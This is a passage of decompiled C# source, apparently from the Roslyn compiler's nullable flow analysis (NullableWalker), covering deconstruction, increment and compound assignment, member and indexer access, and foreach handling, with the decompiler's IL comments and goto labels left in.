ArrayBuilderExtensions.FreeAll(deconstructionAssignmentVariables, (Func>)((DeconstructionVariable v) => v.NestedVariables)); + SetNotNullResult(node); + _disableNullabilityAnalysis = disableNullabilityAnalysis; + return null; + } + + private void VisitDeconstructionArguments(ArrayBuilder variables, Conversion conversion, BoundExpression right, TypeWithState? rightResultOpt = null) + { + if (!conversion.DeconstructionInfo.IsDefault) + { + VisitDeconstructMethodArguments(variables, conversion, right, rightResultOpt); + } + else + { + VisitTupleDeconstructionArguments(variables, conversion.DeconstructConversionInfo, right, rightResultOpt); + } + } + + private void VisitDeconstructMethodArguments(ArrayBuilder variables, Conversion conversion, BoundExpression right, TypeWithState? rightResultOpt) + { + //IL_0238: Unknown result type (might be due to invalid IL or missing references) + //IL_0268: Unknown result type (might be due to invalid IL or missing references) + //IL_026e: Unknown result type (might be due to invalid IL or missing references) + //IL_02ba: Unknown result type (might be due to invalid IL or missing references) + //IL_02ea: Unknown result type (might be due to invalid IL or missing references) + //IL_02f0: Unknown result type (might be due to invalid IL or missing references) + VisitRvalue(right); + if (rightResultOpt.HasValue) + { + SetResultType(right, rightResultOpt.Value); + } + TypeWithState resultType = ResultType; + BoundCall boundCall = conversion.DeconstructionInfo.Invocation as BoundCall; + MethodSymbol methodSymbol = boundCall?.Method; + if ((object)methodSymbol == null) + { + return; + } + int count = variables.Count; + if (!boundCall.InvokedAsExtensionMethod) + { + CheckPossibleNullReceiver(right); + if (methodSymbol.OriginalDefinition != methodSymbol) + { + methodSymbol = (MethodSymbol)AsMemberOfType(resultType.Type, methodSymbol); + } + } + else if (methodSymbol.IsGenericMethod) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(count + 1); + instance.Add(CreatePlaceholderIfNecessary(right, resultType.ToTypeWithAnnotations(compilation))); + for (int i = 0; i < count; i++) + { + instance.Add((BoundExpression)new BoundExpressionWithNullability(variables[i].Expression.Syntax, variables[i].Expression, NullableAnnotation.Oblivious, conversion.DeconstructionInfo.OutputPlaceholders[i].Type)); + } + methodSymbol = InferMethodTypeArguments(methodSymbol, instance.ToImmutableAndFree(), boundCall.ArgumentRefKindsOpt, boundCall.ArgsToParamsOpt, boundCall.Expanded); + if (ConstraintsHelper.RequiresChecking(methodSymbol)) + { + CheckMethodConstraints(boundCall.Syntax, methodSymbol); + } + } + ImmutableArray parameters = methodSymbol.Parameters; + int num = (boundCall.InvokedAsExtensionMethod ? 1 : 0); + if (boundCall.InvokedAsExtensionMethod) + { + Conversion item = RemoveConversion(boundCall.Arguments[0], includeExplicitConversions: false).conversion; + CheckExtensionMethodThisNullability(right, item, methodSymbol.Parameters[0], resultType); + } + for (int j = 0; j < count; j++) + { + DeconstructionVariable deconstructionVariable = variables[j]; + ParameterSymbol parameterSymbol = parameters[j + num]; + (BoundValuePlaceholder? placeholder, BoundExpression? conversion) tuple = conversion.DeconstructConversionInfo[j]; + Conversion conversion2 = BoundNode.GetConversion(placeholder: tuple.placeholder, conversion: tuple.conversion); + ArrayBuilder nestedVariables = deconstructionVariable.NestedVariables; + if (nestedVariables != null) + { + BoundExpression right2 = CreatePlaceholderIfNecessary(boundCall.Arguments[j + num], parameterSymbol.TypeWithAnnotations); + VisitDeconstructionArguments(nestedVariables, conversion2, right2); + } + else + { + VisitArgumentConversionAndInboundAssignmentsAndPreConditions(null, deconstructionVariable.Expression, conversion2, parameterSymbol.RefKind, parameterSymbol, parameterSymbol.TypeWithAnnotations, GetParameterAnnotations(parameterSymbol), new VisitArgumentResult(new VisitResult(deconstructionVariable.Type.ToTypeWithState(), deconstructionVariable.Type), default(Optional)), null, extensionMethodThisArgument: false); + } + } + for (int k = 0; k < count; k++) + { + DeconstructionVariable deconstructionVariable2 = variables[k]; + ParameterSymbol parameterSymbol2 = parameters[k + num]; + if (deconstructionVariable2.NestedVariables == null) + { + VisitArgumentOutboundAssignmentsAndPostConditions(deconstructionVariable2.Expression, parameterSymbol2.RefKind, parameterSymbol2, parameterSymbol2.TypeWithAnnotations, GetRValueAnnotations(parameterSymbol2), new VisitArgumentResult(new VisitResult(deconstructionVariable2.Type.ToTypeWithState(), deconstructionVariable2.Type), default(Optional)), null, default(CompareExchangeInfo)); + } + } + } + + private void VisitTupleDeconstructionArguments(ArrayBuilder variables, ImmutableArray<(BoundValuePlaceholder? placeholder, BoundExpression? conversion)> deconstructConversionInfo, BoundExpression right, TypeWithState? rightResultOpt) + { + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + int count = variables.Count; + ImmutableArray deconstructionRightParts = GetDeconstructionRightParts(right, rightResultOpt); + for (int i = 0; i < count; i++) + { + DeconstructionVariable deconstructionVariable = variables[i]; + (BoundValuePlaceholder? placeholder, BoundExpression? conversion) tuple = deconstructConversionInfo[i]; + Conversion conversion = BoundNode.GetConversion(placeholder: tuple.placeholder, conversion: tuple.conversion); + BoundExpression boundExpression = deconstructionRightParts[i]; + ArrayBuilder nestedVariables = deconstructionVariable.NestedVariables; + if (nestedVariables != null) + { + VisitDeconstructionArguments(nestedVariables, conversion, boundExpression); + continue; + } + TypeWithAnnotations type = deconstructionVariable.Type; + FlowAnalysisAnnotations lValueAnnotations = GetLValueAnnotations(deconstructionVariable.Expression); + type = ApplyLValueAnnotations(type, lValueAnnotations); + TypeWithState rightState; + TypeWithState operandType; + int valueSlot; + if (conversion.IsIdentity) + { + if (deconstructionVariable.Expression is BoundLocal { DeclarationKind: BoundLocalDeclarationKind.WithInferredType } boundLocal) + { + rightState = (operandType = VisitRvalueWithState(boundExpression)); + _variables.SetType(boundLocal.LocalSymbol, operandType.ToAnnotatedTypeWithAnnotations(compilation)); + } + else + { + operandType = default(TypeWithState); + rightState = VisitOptionalImplicitConversion(boundExpression, type, useLegacyWarnings: true, trackMembers: true, AssignmentKind.Assignment); + Unsplit(); + } + valueSlot = MakeSlot(boundExpression); + } + else + { + operandType = VisitRvalueWithState(boundExpression); + rightState = VisitConversion(null, boundExpression, conversion, type, operandType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: true, AssignmentKind.Assignment); + valueSlot = -1; + } + CheckDisallowedNullAssignment(rightState, lValueAnnotations, right.Syntax); + int num = MakeSlot(deconstructionVariable.Expression); + AdjustSetValue(deconstructionVariable.Expression, ref rightState); + TrackNullableStateForAssignment(boundExpression, type, num, rightState, valueSlot); + if (num > 0 && conversion.Kind == ConversionKind.ImplicitNullable && AreNullableAndUnderlyingTypes(type.Type, operandType.Type, out var underlyingTypeWithAnnotations)) + { + valueSlot = MakeSlot(boundExpression); + if (valueSlot > 0) + { + TypeWithState valueType = TypeWithState.Create(underlyingTypeWithAnnotations.Type, NullableFlowState.NotNull); + TrackNullableStateOfNullableValue(num, type.Type, boundExpression, valueType, valueSlot); + } + } + } + } + + private ArrayBuilder GetDeconstructionAssignmentVariables(BoundTupleExpression tuple) + { + ImmutableArray arguments = tuple.Arguments; + ArrayBuilder instance = ArrayBuilder.GetInstance(arguments.Length); + ImmutableArray.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + instance.Add(getDeconstructionAssignmentVariable(current)); + } + return instance; + DeconstructionVariable getDeconstructionAssignmentVariable(BoundExpression expr) + { + BoundKind kind = expr.Kind; + if (kind - 168 <= BoundKind.PropertyEqualsValue) + { + return new DeconstructionVariable(expr, GetDeconstructionAssignmentVariables((BoundTupleExpression)expr)); + } + VisitLValue(expr); + return new DeconstructionVariable(expr, LvalueResultType); + } + } + + private ImmutableArray GetDeconstructionRightParts(BoundExpression expr, TypeWithState? rightResultOpt) + { + switch (expr.Kind) + { + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + return ((BoundTupleExpression)expr).Arguments; + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)expr; + ConversionKind conversionKind = boundConversion.ConversionKind; + if (conversionKind == ConversionKind.Identity || conversionKind == ConversionKind.ImplicitTupleLiteral) + { + return GetDeconstructionRightParts(boundConversion.Operand, null); + } + break; + } + } + if (rightResultOpt.HasValue) + { + expr = CreatePlaceholderIfNecessary(expr, rightResultOpt.GetValueOrDefault().ToTypeWithAnnotations(compilation)); + } + if (expr.Type is NamedTypeSymbol { IsTupleType: not false } namedTypeSymbol) + { + return ImmutableArrayExtensions.SelectAsArray(namedTypeSymbol.TupleElements, (Func)((FieldSymbol f, BoundExpression e) => new BoundFieldAccess(e.Syntax, e, f, null)), expr); + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.cs", 9797); + } + + public override BoundNode? VisitIncrementOperator(BoundIncrementOperator node) + { + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + TypeWithState typeWithState = VisitRvalueWithState(node.Operand); + TypeWithAnnotations lvalueResultType = LvalueResultType; + bool flag = false; + object obj; + if (State.Reachable) + { + if (node.OperatorKind.IsUserDefined()) + { + MethodSymbol? methodOpt = node.MethodOpt; + if ((object)methodOpt != null && methodOpt.ParameterCount == 1) + { + obj = node.MethodOpt; + goto IL_0053; + } + } + obj = null; + goto IL_0053; + } + goto IL_01d5; + IL_01d5: + if (!flag) + { + SetNotNullResult(node); + } + return null; + IL_0053: + MethodSymbol methodSymbol = (MethodSymbol)obj; + AssignmentKind assignmentKind = AssignmentKind.Assignment; + ParameterSymbol parameterOpt = null; + TypeWithAnnotations targetTypeWithNullability; + if (node.OperandConversion is BoundConversion { Conversion: { IsUserDefined: not false } conversion }) + { + MethodSymbol? method = conversion.Method; + if ((object)method != null && method.ParameterCount == 1) + { + targetTypeWithNullability = conversion.Method.ReturnTypeWithAnnotations; + goto IL_00de; + } + } + if ((object)methodSymbol != null) + { + targetTypeWithNullability = methodSymbol.Parameters[0].TypeWithAnnotations; + assignmentKind = AssignmentKind.Argument; + parameterOpt = methodSymbol.Parameters[0]; + } + else + { + targetTypeWithNullability = default(TypeWithAnnotations); + } + goto IL_00de; + IL_00de: + TypeWithState typeWithState2 = ((!targetTypeWithNullability.HasType) ? typeWithState : VisitConversion(null, node.Operand, BoundNode.GetConversion(node.OperandConversion, node.OperandPlaceholder), targetTypeWithNullability, typeWithState, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, assignmentKind, parameterOpt)); + TypeWithState operandType = methodSymbol?.ReturnTypeWithAnnotations.ToTypeWithState() ?? typeWithState2; + TypeWithAnnotations targetTypeWithNullability2 = typeWithState.ToTypeWithAnnotations(compilation); + operandType = VisitConversion(null, node, BoundNode.GetConversion(node.ResultConversion, node.ResultPlaceholder), targetTypeWithNullability2, operandType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Assignment); + if (!node.HasErrors) + { + UnaryOperatorKind unaryOperatorKind = node.OperatorKind.Operator(); + TypeWithState type = ((unaryOperatorKind == UnaryOperatorKind.PrefixIncrement || unaryOperatorKind == UnaryOperatorKind.PrefixDecrement) ? operandType : typeWithState); + SetResultType(node, type); + flag = true; + TrackNullableStateForAssignment(node, lvalueResultType, MakeSlot(node.Operand), operandType); + } + goto IL_01d5; + } + + public override BoundNode? VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_01a3: Unknown result type (might be due to invalid IL or missing references) + //IL_01a9: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + BoundExpression left = node.Left; + BoundExpression right = node.Right; + Visit(left); + TypeWithAnnotations typeWithAnnotations = LvalueResultType; + TypeWithState resultType = ResultType; + TypeWithState adjustedResult = GetAdjustedResult(resultType, MakeSlot(node.Left)); + adjustedResult = (((object)node.Operator.LeftType == null) ? default(TypeWithState) : VisitConversion(null, node.Left, BoundNode.GetConversion(node.LeftConversion, node.LeftPlaceholder), TypeWithAnnotations.Create(node.Operator.LeftType), adjustedResult, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Assignment, null, reportTopLevelWarnings: false)); + TypeWithState rightType = VisitRvalueWithState(right); + TypeWithState operandType; + if ((object)node.Operator.ReturnType != null) + { + if (node.Operator.Kind.IsUserDefined() && (object)node.Operator.Method != null && node.Operator.Method.ParameterCount == 2) + { + MethodSymbol method = node.Operator.Method; + VisitArguments(node, ImmutableArray.Create(node.Left, right), method.ParameterRefKinds, method.Parameters, default(ImmutableArray), default(BitVector), expanded: true, invokedAsExtensionMethod: false, method); + } + operandType = InferResultNullability(node.Operator.Kind, node.Operator.Method, node.Operator.ReturnType, adjustedResult, rightType); + FlowAnalysisAnnotations lValueAnnotations = GetLValueAnnotations(node.Left); + typeWithAnnotations = ApplyLValueAnnotations(typeWithAnnotations, lValueAnnotations); + operandType = VisitConversion(null, node, BoundNode.GetConversion(node.FinalConversion, node.FinalPlaceholder), typeWithAnnotations, operandType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Assignment); + CheckDisallowedNullAssignment(operandType, lValueAnnotations, node.Syntax); + } + else + { + operandType = TypeWithState.Create(node.Type, NullableFlowState.NotNull); + } + AdjustSetValue(left, ref operandType); + TrackNullableStateForAssignment(node, typeWithAnnotations, MakeSlot(node.Left), operandType); + SetResultType(node, operandType); + return null; + } + + public override BoundNode? VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node) + { + BoundExpression boundExpression = node.Expression; + if (boundExpression.Kind == BoundKind.AddressOfOperator) + { + boundExpression = ((BoundAddressOfOperator)boundExpression).Operand; + } + VisitRvalue(boundExpression); + if (node.Expression.Kind == BoundKind.AddressOfOperator) + { + SetResultType(node.Expression, TypeWithState.Create(node.Expression.Type, ResultType.State)); + } + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitAddressOfOperator(BoundAddressOfOperator node) + { + Visit(node.Operand); + SetNotNullResult(node); + return null; + } + + private void ReportArgumentWarnings(BoundExpression argument, TypeWithState argumentType, ParameterSymbol parameter) + { + TypeWithAnnotations typeWithAnnotations = parameter.TypeWithAnnotations; + ReportNullableAssignmentIfNecessary(argument, typeWithAnnotations, argumentType, useLegacyWarnings: false, AssignmentKind.Argument, parameter); + TypeSymbol type = argumentType.Type; + if ((object)type != null && IsNullabilityMismatch(typeWithAnnotations.Type, type)) + { + ReportNullabilityMismatchInArgument(argument.Syntax, type, parameter, typeWithAnnotations.Type, forOutput: false); + } + } + + private void ReportNullabilityMismatchInRefArgument(BoundExpression argument, TypeSymbol argumentType, ParameterSymbol parameter, TypeSymbol parameterType) + { + ReportDiagnostic(ErrorCode.WRN_NullabilityMismatchInArgument, argument.Syntax, argumentType, parameterType, GetParameterAsDiagnosticArgument(parameter), GetContainingSymbolAsDiagnosticArgument(parameter)); + } + + private void ReportNullabilityMismatchInArgument(SyntaxNode argument, TypeSymbol argumentType, ParameterSymbol parameter, TypeSymbol parameterType, bool forOutput) + { + ReportNullabilityMismatchInArgument(argument.GetLocation(), argumentType, parameter, parameterType, forOutput); + } + + private void ReportNullabilityMismatchInArgument(Location argumentLocation, TypeSymbol argumentType, ParameterSymbol? parameterOpt, TypeSymbol parameterType, bool forOutput) + { + ReportDiagnostic(forOutput ? ErrorCode.WRN_NullabilityMismatchInArgumentForOutput : ErrorCode.WRN_NullabilityMismatchInArgument, argumentLocation, argumentType, ((object)parameterOpt != null && parameterOpt.Type.IsNonNullableValueType() && parameterType.IsNullableType()) ? parameterOpt.Type : parameterType, GetParameterAsDiagnosticArgument(parameterOpt), GetContainingSymbolAsDiagnosticArgument(parameterOpt)); + } + + private TypeWithAnnotations GetDeclaredLocalResult(LocalSymbol local) + { + if (!_variables.TryGetType(local, out var type)) + { + return local.TypeWithAnnotations; + } + return type; + } + + private TypeWithAnnotations GetDeclaredParameterResult(ParameterSymbol parameter) + { + if (!_variables.TryGetType(parameter, out var type)) + { + return parameter.TypeWithAnnotations; + } + return type; + } + + public override BoundNode? VisitBaseReference(BoundBaseReference node) + { + VisitThisOrBaseReference(node); + return null; + } + + public override BoundNode? VisitFieldAccess(BoundFieldAccess node) + { + Symbol updatedSymbol = VisitMemberAccess(node, node.ReceiverOpt, node.FieldSymbol); + SplitIfBooleanConstant(node); + SetUpdatedSymbol(node, node.FieldSymbol, updatedSymbol); + return null; + } + + public override BoundNode? VisitPropertyAccess(BoundPropertyAccess node) + { + PropertySymbol propertySymbol = node.PropertySymbol; + Symbol updatedSymbol = VisitMemberAccess(node, node.ReceiverOpt, propertySymbol); + if (!IsAnalyzingAttribute) + { + if (_expressionIsRead) + { + ApplyMemberPostConditions(node.ReceiverOpt, propertySymbol.GetMethod); + } + else + { + ApplyMemberPostConditions(node.ReceiverOpt, propertySymbol.SetMethod); + } + } + SetUpdatedSymbol(node, propertySymbol, updatedSymbol); + return null; + } + + public override BoundNode? VisitIndexerAccess(BoundIndexerAccess node) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiverOpt = node.ReceiverOpt; + TypeSymbol type = VisitRvalueWithState(receiverOpt).Type; + CheckPossibleNullReceiver(receiverOpt); + PropertySymbol propertySymbol = node.Indexer; + if ((object)type != null) + { + propertySymbol = (PropertySymbol)AsMemberOfType(type, propertySymbol); + } + VisitArguments(node, node.Arguments, node.ArgumentRefKindsOpt, propertySymbol, node.ArgsToParamsOpt, node.DefaultArguments, node.Expanded); + TypeWithState resultType = ApplyUnconditionalAnnotations(propertySymbol.TypeWithAnnotations.ToTypeWithState(), GetRValueAnnotations(propertySymbol)); + SetResult(node, resultType, propertySymbol.TypeWithAnnotations); + SetUpdatedSymbol(node, node.Indexer, propertySymbol); + return null; + } + + public override BoundNode? VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + VisitRvalue(node.Receiver); + VisitResult visitResult = _visitResult; + VisitRvalue(node.Argument); + AddPlaceholderReplacement(node.ReceiverPlaceholder, node.Receiver, visitResult); + VisitRvalue(node.IndexerOrSliceAccess); + RemovePlaceholderReplacement(node.ReceiverPlaceholder); + SetResult(node, ResultType, LvalueResultType); + return null; + } + + public override BoundNode? VisitImplicitIndexerValuePlaceholder(BoundImplicitIndexerValuePlaceholder node) + { + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitImplicitIndexerReceiverPlaceholder(BoundImplicitIndexerReceiverPlaceholder node) + { + VisitPlaceholderWithReplacement(node); + return null; + } + + public override BoundNode? VisitEventAccess(BoundEventAccess node) + { + Symbol updatedSymbol = VisitMemberAccess(node, node.ReceiverOpt, node.EventSymbol); + SetUpdatedSymbol(node, node.EventSymbol, updatedSymbol); + return null; + } + + private Symbol VisitMemberAccess(BoundExpression node, BoundExpression? receiverOpt, Symbol member) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + TypeWithState typeWithState = ((receiverOpt != null) ? VisitRvalueWithState(receiverOpt) : default(TypeWithState)); + SpecialMember? val = null; + if (member.RequiresInstanceReceiver()) + { + member = AsMemberOfType(typeWithState.Type, member); + val = GetNullableOfTMember(member); + bool flag = val != (SpecialMember?)115; + CheckPossibleNullReceiver(receiverOpt, !flag); + } + TypeWithAnnotations typeOrReturnType = member.GetTypeOrReturnType(); + FlowAnalysisAnnotations rValueAnnotations = GetRValueAnnotations(member); + TypeWithState resultType = ApplyUnconditionalAnnotations(typeOrReturnType.ToTypeWithState(), rValueAnnotations); + if (PossiblyNullableType(resultType.Type)) + { + int num = MakeMemberSlot(receiverOpt, member); + if (num > 0) + { + NullableFlowState state = GetState(ref State, num); + resultType = TypeWithState.Create(resultType.Type, state); + } + } + if (val == (SpecialMember?)116 && receiverOpt != null) + { + int num2 = MakeSlot(receiverOpt); + if (num2 > 0) + { + Split(); + SetState(ref StateWhenTrue, num2, NullableFlowState.NotNull); + } + } + SetResult(node, resultType, typeOrReturnType); + return member; + } + + private SpecialMember? GetNullableOfTMember(Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + if ((int)member.Kind == 15) + { + MethodSymbol getMethod = ((PropertySymbol)member.OriginalDefinition).GetMethod; + if ((object)getMethod != null && (int)getMethod.ContainingType.SpecialType == 32) + { + if (getMethod == compilation.GetSpecialTypeMember((SpecialMember)115)) + { + return (SpecialMember)115; + } + if (getMethod == compilation.GetSpecialTypeMember((SpecialMember)116)) + { + return (SpecialMember)116; + } + } + } + return null; + } + + private int GetNullableOfTValueSlot(TypeSymbol containingType, int containingSlot, out Symbol? valueProperty, bool forceSlotEvenIfEmpty = false) + { + valueProperty = ((MethodSymbol)compilation.GetSpecialTypeMember((SpecialMember)115))?.AsMember((NamedTypeSymbol)containingType)?.AssociatedSymbol; + if ((object)valueProperty != null) + { + return GetOrCreateSlot(valueProperty, containingSlot, forceSlotEvenIfEmpty); + } + return -1; + } + + protected unsafe override void VisitForEachExpression(BoundForEachStatement node) + { + //IL_0200: Unknown result type (might be due to invalid IL or missing references) + //IL_0206: Unknown result type (might be due to invalid IL or missing references) + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Invalid comparison between Unknown and I4 + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0175: Invalid comparison between Unknown and I4 + //IL_01b5: Unknown result type (might be due to invalid IL or missing references) + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_02a9: Unknown result type (might be due to invalid IL or missing references) + //IL_02b0: Invalid comparison between Unknown and I4 + //IL_02ef: Unknown result type (might be due to invalid IL or missing references) + //IL_02f4: Unknown result type (might be due to invalid IL or missing references) + //IL_02f6: Unknown result type (might be due to invalid IL or missing references) + //IL_0300: Unknown result type (might be due to invalid IL or missing references) + if (node.Expression.Kind != BoundKind.Conversion) + { + VisitRvalue(node.Expression); + Visit(node.AwaitOpt); + return; + } + var (boundExpression, conversion) = RemoveConversion(node.Expression, includeExplicitConversions: false); + SnapshotWalkerThroughConversionGroup(node.Expression, boundExpression); + TypeWithState operandType = VisitRvalueWithState(boundExpression); + TypeSymbol type = operandType.Type; + SetAnalyzedNullability(boundExpression, _visitResult); + MethodSymbol methodSymbol = null; + MethodArgumentInfo methodArgumentInfo = node.EnumeratorInfoOpt?.GetEnumeratorInfo; + TypeWithAnnotations targetTypeWithNullability; + MethodSymbol method; + if ((object)methodArgumentInfo != null) + { + method = methodArgumentInfo.Method; + if ((object)method != null && method.IsExtensionMethod) + { + ImmutableArray parameters = method.Parameters; + (MethodSymbol? method, ImmutableArray results, bool returnNotNull) tuple2 = VisitArguments(node, methodArgumentInfo.Arguments, default(ImmutableArray), parameters, methodArgumentInfo.ArgsToParamsOpt, methodArgumentInfo.DefaultArguments, expanded: false, invokedAsExtensionMethod: true, methodArgumentInfo.Method); + MethodSymbol item = tuple2.method; + ImmutableArray item2 = tuple2.results; + targetTypeWithNullability = item2[0].LValueType; + methodSymbol = item; + goto IL_01e4; + } + } + if (conversion.IsIdentity || (conversion.Kind == ConversionKind.ExplicitReference && (int)type.SpecialType == 20)) + { + targetTypeWithNullability = operandType.ToTypeWithAnnotations(compilation); + } + else + { + if (!conversion.IsImplicit) + { + return; + } + bool isAsync = node.AwaitOpt != null; + if ((int)node.Expression.Type.SpecialType == 24) + { + targetTypeWithNullability = TypeWithAnnotations.Create(node.Expression.Type); + } + else + { + if (!Binder.IsIEnumerableT(node.Expression.Type.OriginalDefinition, isAsync, compilation)) + { + return; + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + targetTypeWithNullability = TypeWithAnnotations.Create(Binder.GetIEnumerableOfT(type, isAsync, compilation, ref useSiteInfo, out var _)); + } + } + goto IL_01e4; + IL_032f: + TypeSymbol type2; + methodSymbol = (MethodSymbol)AsMemberOfType(type2, node.EnumeratorInfoOpt.GetEnumeratorInfo.Method); + goto IL_034d; + IL_01e4: + TypeWithState rValueType = VisitConversion(GetConversionIfApplicable(node.Expression, boundExpression), boundExpression, conversion, targetTypeWithNullability, operandType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Assignment); + method = node.EnumeratorInfoOpt?.GetEnumeratorInfo.Method; + bool flag = ((object)method == null || !method.IsExtensionMethod) && CheckPossibleNullReceiver(boundExpression); + SetAnalyzedNullability(node.Expression, new VisitResult(rValueType, rValueType.ToTypeWithAnnotations(compilation))); + TypeWithState type3; + ForEachEnumeratorInfo enumeratorInfoOpt; + if (node.EnumeratorInfoOpt == null) + { + type3 = default(TypeWithState); + } + else if (type is ArrayTypeSymbol { ElementTypeWithAnnotations: var elementTypeWithAnnotations }) + { + type3 = elementTypeWithAnnotations.ToTypeWithState(); + } + else + { + if ((int)type.SpecialType != 20) + { + if ((object)methodSymbol == null) + { + enumeratorInfoOpt = node.EnumeratorInfoOpt; + if (enumeratorInfoOpt != null) + { + WellKnownType inlineArraySpanType = enumeratorInfoOpt.InlineArraySpanType; + if ((int)inlineArraySpanType != 0) + { + type2 = compilation.GetWellKnownType(inlineArraySpanType).Construct(ImmutableArray.Create(rValueType.Type.TryGetInlineArrayElementField().TypeWithAnnotations)); + goto IL_032f; + } + } + type2 = rValueType.Type; + goto IL_032f; + } + goto IL_034d; + } + type3 = TypeWithAnnotations.Create(node.EnumeratorInfoOpt.ElementType, NullableAnnotation.NotAnnotated).ToTypeWithState(); + } + goto IL_04e9; + IL_03a3: + TypeWithState returnTypeWithState; + MethodSymbol methodSymbol2 = (MethodSymbol)AsMemberOfType(((TypeWithState*)(&returnTypeWithState))->Type, node.EnumeratorInfoOpt.CurrentPropertyGetter); + type3 = ApplyUnconditionalAnnotations(methodSymbol2.ReturnTypeWithAnnotations.ToTypeWithState(), methodSymbol2.ReturnTypeFlowAnalysisAnnotations); + BoundAwaitableInfo awaitOpt = node.AwaitOpt; + if (awaitOpt != null) + { + BoundAwaitableValuePlaceholder awaitableInstancePlaceholder = awaitOpt.AwaitableInstancePlaceholder; + if (awaitableInstancePlaceholder != null) + { + MethodSymbol methodSymbol3 = (MethodSymbol)AsMemberOfType(methodSymbol.ReturnType, node.EnumeratorInfoOpt.MoveNextInfo.Method); + VisitResult result = new VisitResult(GetReturnTypeWithState(methodSymbol3), methodSymbol3.ReturnTypeWithAnnotations); + AddPlaceholderReplacement(awaitableInstancePlaceholder, awaitableInstancePlaceholder, result); + Visit(awaitOpt); + RemovePlaceholderReplacement(awaitableInstancePlaceholder); + } + } + enumeratorInfoOpt = node.EnumeratorInfoOpt; + if (enumeratorInfoOpt != null && enumeratorInfoOpt.NeedsDisposal) + { + BoundAwaitableInfo disposeAwaitableInfo = enumeratorInfoOpt.DisposeAwaitableInfo; + if (disposeAwaitableInfo != null) + { + BoundAwaitableValuePlaceholder awaitableInstancePlaceholder2 = disposeAwaitableInfo.AwaitableInstancePlaceholder; + bool flag2 = false; + MethodArgumentInfo patternDisposeInfo = node.EnumeratorInfoOpt.PatternDisposeInfo; + if ((object)patternDisposeInfo != null) + { + MethodSymbol method2 = patternDisposeInfo.Method; + MethodSymbol methodSymbol4 = (MethodSymbol)AsMemberOfType(methodSymbol.ReturnType, method2); + VisitResult result2 = new VisitResult(GetReturnTypeWithState(methodSymbol4), methodSymbol4.ReturnTypeWithAnnotations); + AddPlaceholderReplacement(awaitableInstancePlaceholder2, awaitableInstancePlaceholder2, result2); + flag2 = true; + } + Visit(disposeAwaitableInfo); + if (flag2) + { + RemovePlaceholderReplacement(awaitableInstancePlaceholder2); + } + } + } + goto IL_04e9; + IL_04e9: + SetResultType(null, type3); + return; + IL_034d: + returnTypeWithState = GetReturnTypeWithState(methodSymbol); + if (returnTypeWithState.State != NullableFlowState.NotNull && !flag) + { + if (node.Expression is BoundConversion boundConversion) + { + BoundExpression operand = boundConversion.Operand; + if (operand != null && operand.IsSuppressed) + { + goto IL_03a3; + } + } + ReportDiagnostic(ErrorCode.WRN_NullReferenceReceiver, boundExpression.Syntax.GetLocation()); + } + goto IL_03a3; + } + + public override void VisitForEachIterationVariables(BoundForEachStatement node) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0192: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_01f6: Unknown result type (might be due to invalid IL or missing references) + //IL_01fc: Unknown result type (might be due to invalid IL or missing references) + TypeWithState typeWithState = ((node.EnumeratorInfoOpt == null) ? default(TypeWithState) : ResultType); + TypeWithAnnotations typeWithAnnotations = typeWithState.ToTypeWithAnnotations(compilation); + SyntaxNode syntax = node.Syntax; + Location location; + if (!(syntax is ForEachStatementSyntax { Identifier: var identifier })) + { + if (!(syntax is ForEachVariableStatementSyntax forEachVariableStatementSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)node.Syntax); + } + location = forEachVariableStatementSyntax.Variable.GetLocation(); + } + else + { + location = ((SyntaxToken)(ref identifier)).GetLocation(); + } + Location val = location; + if (node.DeconstructionOpt != null) + { + BoundDeconstructionAssignmentOperator deconstructionAssignment = node.DeconstructionOpt.DeconstructionAssignment; + VisitDeconstructionAssignmentOperator(deconstructionAssignment, 